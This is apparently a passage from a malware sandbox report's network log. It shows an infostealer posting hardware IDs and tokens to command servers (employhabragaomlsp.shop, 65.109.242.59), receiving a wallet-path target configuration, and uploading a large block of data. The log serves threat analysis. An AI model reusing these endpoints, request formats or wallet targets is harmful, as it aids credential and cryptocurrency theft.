2024-05-24 11:43:47 UTC	1145	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 43 47 44 42 47 43 42 47 49 44 48 43 42 47 44 48 49 45 42 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 38 37 34 39 64 38 38 38 30 38 63 62 38 37 32 61 66 64 61 33 62 36 36 38 34 64 33 61 37 65 62 61 0d 0a 2d 2d 2d 2d 2d 2d 43 47 44 42 47 43 42 47 49 44 48 43 42 47 44 48 49 45 42 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 5f 69 64 22 0d 0a 0d 0a 34 32 64 30 36 31 38 33 30 34 61 38 38 64 36 34 37 36 62 63 35 35 64 33 33 63 32 33 64 37 65 36 0d 0a 2d 2d 2d 2d 2d 2d 43 47 44 42 47 43 42 47 49 44 48 43 42 47 44 48 49 45 42 46 0d 0a 43 6f 6e 74 Data Ascii: ------CGDBGCBGIDHCBGDHIEBFContent-Disposition: form-data; name="token"8749d88808cb872afda3b6684d3a7eba------CGDBGCBGIDHCBGDHIEBFContent-Disposition: form-data; name="build_id"42d0618304a88d6476bc55d33c23d7e6------CGDBGCBGIDHCBGDHIEBFCont
2024-05-24 11:43:48 UTC	158	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 24 May 2024 11:43:48 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close
2024-05-24 11:43:48 UTC	12	IN	Data Raw: 32 0d 0a 6f 6b 0d 0a 30 0d 0a 0d 0a Data Ascii: 2ok0

Session ID	Source IP	Source Port	Destination IP	Destination Port
131	192.168.2.4	63786	188.114.97.3	443

Timestamp	Bytes transferred	Direction	Data
2024-05-24 11:43:47 UTC	288	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 1401 Host: employhabragaomlsp.shop
2024-05-24 11:43:47 UTC	1401	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 38 38 34 37 45 33 44 36 38 31 34 43 38 32 43 31 35 41 30 41 32 30 31 38 45 45 31 31 37 30 38 42 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 48 38 4e 67 43 6c 2d 2d 0d 0a 2d 2d 62 Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"8847E3D6814C82C15A0A2018EE11708B--be85de5ipdocierre1Content-Disposition: form-data; name="pid"1--be85de5ipdocierre1Content-Disposition: form-data; name="lid"H8NgCl----b
2024-05-24 11:43:48 UTC	814	IN	HTTP/1.1 200 OK Date: Fri, 24 May 2024 11:43:48 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=2ku8kpqf095528vfl4h00loopm; expires=Tue, 17-Sep-2024 05:30:27 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=%2BZZc7KWMbxLxX9BnwWVPslAMWg5gxY3fEwxWJzdhjVUXAvHh%2B0N%2F4PgR4B26vefeYmLy%2BLZV5AYJXHlPxvGV0TvgzkR9Pq9IfYV6PeiOQbhArPKe4wvWSpn7UzT3i4s0TxQ1naoV6iwneQ%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 888d07b38bb66a53-EWR alt-svc: h3=":443"; ma=86400
2024-05-24 11:43:48 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 31 37 35 0d 0a Data Ascii: fok 8.46.123.175
2024-05-24 11:43:48 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
132	192.168.2.4	63787	65.109.242.59	443	7456	C:\Users\user\AppData\Local\Temp\katDE8F.tmp

Timestamp	Bytes transferred	Direction	Data
2024-05-24 11:43:49 UTC	278	OUT	POST / HTTP/1.1 Content-Type: multipart/form-data; boundary=----AAEHJEGIIDAECAAKEBKF User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:128.0) Gecko/20100101 Firefox/128.0 Host: 65.109.242.59 Content-Length: 331 Connection: Keep-Alive Cache-Control: no-cache
2024-05-24 11:43:49 UTC	331	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 41 41 45 48 4a 45 47 49 49 44 41 45 43 41 41 4b 45 42 4b 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 38 37 34 39 64 38 38 38 30 38 63 62 38 37 32 61 66 64 61 33 62 36 36 38 34 64 33 61 37 65 62 61 0d 0a 2d 2d 2d 2d 2d 2d 41 41 45 48 4a 45 47 49 49 44 41 45 43 41 41 4b 45 42 4b 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 5f 69 64 22 0d 0a 0d 0a 34 32 64 30 36 31 38 33 30 34 61 38 38 64 36 34 37 36 62 63 35 35 64 33 33 63 32 33 64 37 65 36 0d 0a 2d 2d 2d 2d 2d 2d 41 41 45 48 4a 45 47 49 49 44 41 45 43 41 41 4b 45 42 4b 46 0d 0a 43 6f 6e 74 Data Ascii: ------AAEHJEGIIDAECAAKEBKFContent-Disposition: form-data; name="token"8749d88808cb872afda3b6684d3a7eba------AAEHJEGIIDAECAAKEBKFContent-Disposition: form-data; name="build_id"42d0618304a88d6476bc55d33c23d7e6------AAEHJEGIIDAECAAKEBKFCont
2024-05-24 11:43:50 UTC	158	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 24 May 2024 11:43:50 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close
2024-05-24 11:43:50 UTC	2228	IN	Data Raw: 38 61 38 0d 0a 51 6d 6c 30 59 32 39 70 62 69 42 44 62 33 4a 6c 66 44 46 38 58 45 4a 70 64 47 4e 76 61 57 35 63 64 32 46 73 62 47 56 30 63 31 78 38 64 32 46 73 62 47 56 30 4c 6d 52 68 64 48 77 78 66 45 4a 70 64 47 4e 76 61 57 34 67 51 32 39 79 5a 53 42 50 62 47 52 38 4d 58 78 63 51 6d 6c 30 59 32 39 70 62 6c 78 38 4b 6e 64 68 62 47 78 6c 64 43 6f 75 5a 47 46 30 66 44 42 38 52 47 39 6e 5a 57 4e 76 61 57 35 38 4d 58 78 63 52 47 39 6e 5a 57 4e 76 61 57 35 63 66 43 70 33 59 57 78 73 5a 58 51 71 4c 6d 52 68 64 48 77 77 66 46 4a 68 64 6d 56 75 49 45 4e 76 63 6d 56 38 4d 58 78 63 55 6d 46 32 5a 57 35 63 66 43 70 33 59 57 78 73 5a 58 51 71 4c 6d 52 68 64 48 77 77 66 45 52 68 5a 57 52 68 62 48 56 7a 49 45 31 68 61 57 35 75 5a 58 52 38 4d 58 78 63 52 47 46 6c 5a 47 Data Ascii: 8a8Qml0Y29pbiBDb3JlfDF8XEJpdGNvaW5cd2FsbGV0c1x8d2FsbGV0LmRhdHwxfEJpdGNvaW4gQ29yZSBPbGR8MXxcQml0Y29pblx8KndhbGxldCouZGF0fDB8RG9nZWNvaW58MXxcRG9nZWNvaW5cfCp3YWxsZXQqLmRhdHwwfFJhdmVuIENvcmV8MXxcUmF2ZW5cfCp3YWxsZXQqLmRhdHwwfERhZWRhbHVzIE1haW5uZXR8MXxcRGFlZG

Session ID	Source IP	Source Port	Destination IP	Destination Port
133	192.168.2.4	63788	188.114.97.3	443

Timestamp	Bytes transferred	Direction	Data
2024-05-24 11:43:49 UTC	290	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 572795 Host: employhabragaomlsp.shop
2024-05-24 11:43:49 UTC	15331	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 38 38 34 37 45 33 44 36 38 31 34 43 38 32 43 31 35 41 30 41 32 30 31 38 45 45 31 31 37 30 38 42 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 48 38 4e 67 43 6c 2d 2d 0d 0a 2d 2d 62 Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"8847E3D6814C82C15A0A2018EE11708B--be85de5ipdocierre1Content-Disposition: form-data; name="pid"1--be85de5ipdocierre1Content-Disposition: form-data; name="lid"H8NgCl----b
2024-05-24 11:43:49 UTC	15331	OUT	Data Raw: b6 5b 0b 56 45 1f 81 58 ca 4a e0 2f 61 4e e9 01 9c 71 17 60 2d 9f 02 1e 4c 17 98 a1 c3 62 cb ba 66 d4 56 eb 42 ac 87 ee 61 3a 80 95 1d 32 87 70 34 23 55 68 f2 ff b7 93 d2 0b 0b 12 57 65 e1 01 00 ef 23 34 ad 28 01 85 3e a0 05 b5 a8 cc 68 db 10 d9 04 1e 92 12 2a 33 5d 16 bf 35 fa 11 7a f8 85 bb 84 e4 f6 00 7b 1c fa 31 44 9d 5e 2c f4 6c 05 ac 12 34 49 d3 03 f8 5e 28 12 d2 83 a3 b0 44 8f 91 6a 5d 5c ae 4f 75 aa 76 c1 c9 1f f8 fe 08 39 74 5b 3c 85 35 df 37 7e ef 34 2f ed 23 29 ac 41 3c a7 db 03 fd 42 de 66 b4 4c 0a 4c b5 50 2a bb 1e d0 1e dc 61 6e 66 17 f2 39 3e b9 a3 e1 3d d3 11 a4 67 55 a3 ec 50 55 8f 7e a5 66 14 01 23 53 84 88 2e 53 8b b0 00 a5 cc 36 4c ee 65 b2 35 44 76 0a 01 e1 fc e1 c6 a4 5f e2 2e de f8 b3 a0 89 43 a7 2f 5d 2a e4 97 88 9d f7 6c ff 35 ec Data Ascii: [VEXJ/aNq`-LbfVBa:2p4#UhWe#4(>h3]5z{1D^,l4I^(Dj]\Ouv9t[<57~4/#)A<BfLLPanf9>=gUPU~f#S.S6Le5Dv_.C/]*l5
2024-05-24 11:43:49 UTC	15331	OUT	Data Raw: 75 54 15 78 9b 58 65 f5 c5 32 2b 84 be 09 cd 8a 4f ac b8 fb 41 93 7f 76 05 6a 00 01 b6 49 bd db 27 7c 3a 43 9d c3 42 82 53 19 91 17 07 93 16 5c 2c e0 e0 13 5a 04 df 84 79 6b 95 ca 84 6d cc 50 92 59 96 45 9c 01 9a 88 e2 3c 2e fa f6 b7 c2 6a 8d a4 87 0a d3 78 5c a9 fe e6 24 aa be b4 6c 53 7f 2e 29 8f e2 2d b8 53 bd 28 a1 ca 70 2b 91 4d 6f 35 27 7a e3 f2 4a b1 d2 5d f7 c3 3a 4a b3 97 f8 f4 8c 53 39 48 64 85 c3 48 72 4f de e5 ef 94 6f 6f 51 44 e0 9c ff dc 8f 1f 61 53 48 1e 9f 39 fb e1 cf 69 02 93 72 9d 8b 49 28 62 cb b3 ea de f5 66 59 e4 3d 75 5c 27 5a 84 7e 5f 6b 3c 25 86 aa 3d e2 d0 d6 ac 52 1f ba 8b 3d 92 ee ba 4a 1a 6d 40 8d 5d 00 d6 f1 54 c2 0c 61 59 e6 d7 7b e2 49 57 a7 19 a5 61 e5 27 76 d4 1c 38 69 28 9e 75 cf 97 a6 81 aa 31 89 09 b8 e4 b7 49 18 bb 50 Data Ascii: uTxXe2+OAvjI'\|:CBS\,ZykmPYE<.jx\$lS.)-S(p+Mo5'zJ]:JS9HdHrOooQDaSH9irI(bfY=u\'Z~_k<%=R=Jm@]TaY{IWa'v8i(u1IP
2024-05-24 11:43:49 UTC	15331	OUT	Data Raw: f0 96 69 e6 1c 93 10 15 87 20 a7 ae b9 bd a2 ce eb 97 ac 61 3e 28 58 ba 56 aa 83 56 c9 d0 0d 43 79 b9 33 46 dd a5 2d 6e a5 de da 28 7a e1 d3 bc 00 e7 51 9c 27 74 25 30 f9 fe f6 91 c5 e2 ae ce 25 17 84 8d 7d 74 10 3f b9 e5 8f 60 25 a4 0c a6 8a ed f8 c3 3d 3a 80 4c eb de 6a 44 e8 a4 86 29 ee 55 4d d9 56 72 97 c5 b8 dc d0 ee ad 12 8f 8b 3f 2e 0c 29 7f dd 07 12 aa 0f 38 b3 df fb 74 3a 3e e7 df 14 38 29 f6 27 63 cb fa 4d f1 6c 78 db 3f cd ef 47 42 2c 96 60 4d 32 c5 21 4f 71 54 71 85 fa 4a 76 f8 4f 0f 65 2a 74 95 19 c3 5b db 4a 7a 3a 22 7e 9a d0 d0 5e 5b 5d 64 c3 2e 3e 9a 76 38 c6 ed e0 1e 4b 39 ab e1 a3 3b 41 7f 2e 3b 1e db be c2 4f d4 40 e3 0c ef cc bf b9 91 b7 11 b4 55 2e ae 3f 8b 29 5e 0f 4b ea 28 6a bb 2e 2a d6 dc 96 56 58 9c bb b9 9e 29 f7 7a a6 c8 60 7c Data Ascii: i a>(XVVCy3F-n(zQ't%0%}t?`%=:LjD)UMVr?.)8t:>8)'cMlx?GB,`M2!OqTqJvOet[Jz:"~^[]d.>v8K9;A.;O@U.?)^K(j.VX)z`\|
2024-05-24 11:43:49 UTC	15331	OUT	Data Raw: e2 23 78 97 68 98 c3 c7 de 4e f6 e4 23 1f 94 32 40 30 5d d5 31 2e 8e 39 f2 cf 0a 2d 33 04 c2 0d ee 8b e6 6e da c6 61 35 58 67 30 39 e7 69 2f 31 5e 87 e6 73 83 45 b0 83 1b ce 9c cc 24 7e e3 5f b2 81 68 0a 69 dd ee 24 d5 f4 53 46 1a bb 45 32 ac 77 c0 cd 85 98 be 26 e0 85 15 24 9e 0a f9 cd c4 c3 8c 8e c3 39 3c 7f 47 5f 40 07 88 6e ff aa 60 97 b7 24 93 9a 38 d6 00 ec 64 fe e1 12 d7 c5 64 0d 66 26 c7 ef 70 43 de 64 dc 39 70 21 6e a1 bb de 3a f9 39 79 70 fa 4c a6 29 98 7d 60 ac 96 a2 1a 15 e1 29 d0 6b 8c e5 94 47 a0 14 69 33 03 c1 26 8c 3c 37 f7 83 d7 c2 49 6f e4 e2 76 e6 ab 09 c3 ae 4c f1 15 fe 93 38 5f fa 77 64 2b 43 4a f0 32 86 13 c0 a4 a0 32 41 e7 b4 5f 2d c6 02 d2 3f 2f 61 25 5e ac 67 47 e1 b2 74 c2 e7 25 ae 1e 7b 46 c7 88 9a 50 55 11 40 f4 4f d4 75 f6 80 Data Ascii: #xhN#2@0]1.9-3na5Xg09i/1^sE$~_hi$SFE2w&$9<G_@n`$8ddf&pCd9p!n:9ypL)}`)kGi3&<7IovL8_wd+CJ22A_-?/a%^gGt%{FPU@Ou
2024-05-24 11:43:49 UTC	15331	OUT	Data Raw: c1 a2 ff 20 62 6b fc 79 39 cc 6e d9 d2 6a ab fc 41 1a 86 72 00 03 26 f4 69 8e bf 80 a2 1b 5b b1 1a 78 75 8b 51 84 03 82 5b 36 cb a1 eb bf b9 17 82 c7 be 64 65 5e 0b 3e d2 ec dc 88 6d cd ba a8 8b dd b8 ac 9e ea 87 be c7 1d a4 32 c4 db 9a 17 35 7b e5 f4 ce 63 dd 1d bd 7f 29 87 e8 ca 0f 41 dd 38 76 2a eb 26 41 08 cc c4 12 49 da cf c2 ba ff a7 25 41 3e 52 ee 59 33 9b 6f d7 fb d5 96 72 8e 5f 5c 24 bf fd a8 c1 e4 03 07 d9 74 90 01 07 af ff 54 ed ff f8 76 c9 53 ac 4a 99 a9 63 7d ae 46 9a 90 f6 0f 49 8b 73 59 a0 ff f6 be 71 52 53 e4 87 fa 7d 2a 49 58 90 6d 2e 73 96 d7 a4 19 f9 cd 0f 89 b4 ba df 98 55 00 bc f5 c6 eb 3e ea 12 6e 28 5a 67 d6 6a 58 91 84 1f 6d 59 5e a4 34 69 23 1f 4f 60 56 c4 ae 07 e2 38 8d 14 0f 5d 11 96 71 08 4b 16 76 1d ad d5 f9 ba ba 8b 9b d2 c8 Data Ascii: bky9njAr&i[xuQ[6de^>m25{c)A8v&AI%A>RY3or_\$tTvSJc}FIsYqRS}IXm.sU>n(ZgjXmY^4i#O`V8]qKv
2024-05-24 11:43:49 UTC	15331	OUT	Data Raw: c3 a7 30 9e 03 ce a7 2a 2d db 56 63 70 bd 4f 4d df f2 54 50 a2 9d d9 bf e9 a0 c6 8f 25 38 d7 c8 00 d7 51 d8 71 84 cd 36 19 90 64 85 fc cd b1 c4 a9 09 3c c6 ba 50 d5 02 c0 a0 f9 9a 1c 74 f1 15 94 15 ba 72 2c ab 55 82 e8 81 e0 d1 04 db 52 cd 9c 63 5a 62 e1 0a d2 e7 ae ec 6d 69 f1 82 e9 39 d9 a5 f0 82 04 7c 6b 33 e3 4f 6d 42 6b 32 89 93 cb 8f 8d d0 d2 83 4c ce 71 91 84 d0 21 a7 c5 72 ae 33 ba 74 5d c4 42 af 0a ed ef 2f bf 5e a7 4c 93 e8 87 8a 05 93 f0 ca b0 2e 1e 52 df f9 eb 9c ca e2 7b 71 95 93 47 f1 fb 3f 57 60 9c 28 34 c3 76 05 4b 68 f1 d8 55 16 87 0c 57 f7 0c d2 cc 5c 98 aa c7 73 bc c9 61 d5 84 a6 3f 36 d4 cf 1f 6e ef 2a 3b 50 60 3b 08 c3 b6 65 b8 ab 4c 20 5f 5e 6a f3 62 b4 75 64 dd 25 a6 ec 0a df 43 74 0e f1 36 0c f2 1f 7d 6d a6 29 cb 16 e9 92 eb 55 db Data Ascii: 0-VcpOMTP%8Qq6d<Ptr,URcZbmi9\|k3OmBk2Lq!r3t]B/^L.R{qG?W`(4vKhUW\sa?6n;P`;eL _^jbud%Ct6}m)U
2024-05-24 11:43:49 UTC	15331	OUT	Data Raw: 6c 9b 8d 97 d7 99 f9 57 38 1e 5b ce 39 9a e2 1f 02 3b 49 3b eb 81 df d0 f6 31 34 b7 d0 2e 40 4f 82 6c 2e c2 be a3 e8 e5 3c 67 a8 98 ef 23 a0 f7 ec bc 7d 8a 58 29 7a 80 76 3d 55 52 d6 9d a6 b6 48 59 78 95 e2 c1 1a f7 87 23 04 f3 c8 37 c5 e5 6d d8 67 a2 31 d6 62 98 d6 eb 39 54 dd 91 93 51 2c 17 18 b9 2e 2e c3 11 a2 5c be cb 42 43 a3 11 80 89 40 cc dc 08 65 e5 a1 41 66 bd 24 38 c8 3a 59 5d f5 c7 ca 46 27 85 85 96 ef 02 b9 0e 1f de 5f 7d 49 60 1d 87 93 ef 6b 50 04 60 3c 5b e4 c9 09 86 dd 01 e4 6a 19 44 8f 81 12 21 e6 45 11 de c2 b8 b0 a1 4d 50 ad 3e 88 0c bb be e8 e4 bb 71 29 d1 e9 50 11 8c 2e cd 7d 89 e6 be 4a 5e 3b 95 10 c6 bc 70 b4 db 98 49 dc dd 4e 27 d9 09 d6 a0 17 3a ce a7 f1 4f f8 c0 76 b1 3e bf 4f 90 05 b0 46 a1 cb f2 84 94 3b 2a b0 2f 10 41 21 dd b8 Data Ascii: lW8[9;I;14.@Ol.<g#}X)zv=URHYx#7mg1b9TQ,..\BC@eAf$8:Y]F'_}I`kP`<[jD!EMP>q)P.}J^;pIN':Ov>OF;*/A!
2024-05-24 11:43:49 UTC	15331	OUT	Data Raw: 32 9c 6f 97 70 ef 2b 27 5f b8 ed 01 44 cc 59 ca 53 a4 79 a4 0e fd c8 7a db c1 12 48 a8 bf d0 9b a3 82 50 39 ca bd 63 75 c6 e6 09 83 7c 60 27 7d da a2 6d b5 52 15 f5 ee 21 2b 4c 60 21 42 70 49 28 6d e5 38 71 d7 ca 25 54 ba a3 c4 38 1f cf ac d4 e4 74 73 1e 1c 23 57 7e 1d c6 f2 e1 1a 9f 50 4c 69 fc c0 b7 35 ad 15 f6 42 00 b7 e0 99 bf 3b 15 fd 96 39 85 a8 63 93 98 d5 ea f9 6a fe f3 37 33 a2 dc 37 8a 4e 10 0e ac e3 53 c2 20 34 df 64 22 3f 81 fa f5 61 93 12 e2 b8 68 12 05 8b 8b a7 f3 a4 1d 08 01 0c 0c e6 e7 81 e8 65 80 c6 7a 7a c0 c6 8f 0d d0 a7 76 fd 0a fc a4 a5 ca 8c a0 5f a4 87 76 d7 1a e3 66 52 c6 69 fb 74 37 d1 b3 3e f5 4e d4 8d 2f 06 41 2d 06 53 e8 8e 10 9b fd 47 eb 74 5e 26 14 bc ee a8 35 77 86 8b 83 f4 a8 5b 3f 84 43 3e bc 1e b6 1e 96 67 f0 6c d1 fb ed Data Ascii: 2op+'_DYSyzHP9cu\|`'}mR!+L`!BpI(m8q%T8ts#W~PLi5B;9cj737NS 4d"?ahezzv_vfRit7>N/A-SGt^&5w[?C>gl
2024-05-24 11:43:49 UTC	15331	OUT	Data Raw: a9 37 86 ec bf ed 93 91 65 05 65 35 df e4 86 50 75 db 27 b1 80 f8 f7 c5 5e 38 e2 85 62 91 40 f2 de 2e 8d 2a 36 df b6 22 d8 b5 a8 88 8e e1 3c 09 e4 47 39 99 29 4e da 1b 33 93 94 68 68 0e e1 3f 06 f0 fc fb 5d 28 41 2d aa fc 82 c3 d9 c2 06 3f 75 a7 6e 4a 6c c6 fa ef c1 5b 18 e3 3f 52 e5 b9 28 5a 37 d9 be cd 99 62 e4 98 46 2c 14 29 06 7e a7 69 64 90 af 2c d1 7f 8f 24 1d 9d c8 ac 62 49 4c 71 4d ba 8e f5 76 a0 2f 73 a3 e9 38 04 d6 fc 08 be 83 7b e6 7a fc e5 79 23 18 ad a1 09 70 e3 78 17 31 9a 58 2c a6 2b d9 cb d8 51 18 f6 fd 6f 8b c7 6c 34 89 ff 88 3c a2 c8 cc 66 f8 10 46 50 7e 66 55 51 84 8f a6 41 46 46 e9 71 de 88 e8 20 15 11 7d 63 f3 bc ad 76 37 5b 26 26 6c ba 27 07 3d 2f b2 05 09 a8 8c 8d de 2b 20 14 bc b9 8d ed b4 6f 21 76 89 cb dd f2 32 e4 a2 54 3c 0b 9c Data Ascii: 7ee5Pu'^8b@.*6"<G9)N3hh?](A-?unJl[?R(Z7bF,)~id,$bILqMv/s8{zy#px1X,+Qol4<fFP~fUQAFFq }cv7[&&l'=/+ o!v2T<
2024-05-24 11:43:51 UTC	820	IN	HTTP/1.1 200 OK Date: Fri, 24 May 2024 11:43:51 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=4gnmrq61gusbs608gdsm9l8h4m; expires=Tue, 17-Sep-2024 05:30:30 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=59SI%2FMSsvAACBGIXD3D%2F%2FoUpamUB8WkjoLClpgaXtSJZg421Q%2Bc495RVYHu4TbtbziAS8OqI%2B2r%2FCYgJWl99UgxXroG4PvLYXiGFmVyn%2FnM6S9wsfyGWijMfX3hm3MnY08M4UJj0lbZWOw%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 888d07c289bd42de-EWR alt-svc: h3=":443"; ma=86400

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
134	192.168.2.4	63790	65.109.242.59	443	7456	C:\Users\user\AppData\Local\Temp\katDE8F.tmp

Timestamp	Bytes transferred	Direction	Data
2024-05-24 11:43:51 UTC	278	OUT	POST / HTTP/1.1 Content-Type: multipart/form-data; boundary=----AEGHIJEHJDHIDHIDAEHC User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:128.0) Gecko/20100101 Firefox/128.0 Host: 65.109.242.59 Content-Length: 331 Connection: Keep-Alive Cache-Control: no-cache
2024-05-24 11:43:51 UTC	331	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 41 45 47 48 49 4a 45 48 4a 44 48 49 44 48 49 44 41 45 48 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 38 37 34 39 64 38 38 38 30 38 63 62 38 37 32 61 66 64 61 33 62 36 36 38 34 64 33 61 37 65 62 61 0d 0a 2d 2d 2d 2d 2d 2d 41 45 47 48 49 4a 45 48 4a 44 48 49 44 48 49 44 41 45 48 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 5f 69 64 22 0d 0a 0d 0a 34 32 64 30 36 31 38 33 30 34 61 38 38 64 36 34 37 36 62 63 35 35 64 33 33 63 32 33 64 37 65 36 0d 0a 2d 2d 2d 2d 2d 2d 41 45 47 48 49 4a 45 48 4a 44 48 49 44 48 49 44 41 45 48 43 0d 0a 43 6f 6e 74 Data Ascii: ------AEGHIJEHJDHIDHIDAEHCContent-Disposition: form-data; name="token"8749d88808cb872afda3b6684d3a7eba------AEGHIJEHJDHIDHIDAEHCContent-Disposition: form-data; name="build_id"42d0618304a88d6476bc55d33c23d7e6------AEGHIJEHJDHIDHIDAEHCCont
2024-05-24 11:43:51 UTC	158	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 24 May 2024 11:43:51 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close
2024-05-24 11:43:51 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
135	192.168.2.4	63791	34.117.186.192	443

Timestamp	Bytes transferred	Direction	Data
2024-05-24 11:43:51 UTC	237	OUT	GET /widget/demo/8.46.123.175 HTTP/1.1 Connection: Keep-Alive Referer: https://ipinfo.io/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36 Host: ipinfo.io
2024-05-24 11:43:51 UTC	514	IN	HTTP/1.1 200 OK server: nginx/1.24.0 date: Fri, 24 May 2024 11:43:51 GMT content-type: application/json; charset=utf-8 Content-Length: 1028 access-control-allow-origin: * x-frame-options: SAMEORIGIN x-xss-protection: 1; mode=block x-content-type-options: nosniff referrer-policy: strict-origin-when-cross-origin x-envoy-upstream-service-time: 2 via: 1.1 google strict-transport-security: max-age=2592000; includeSubDomains Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
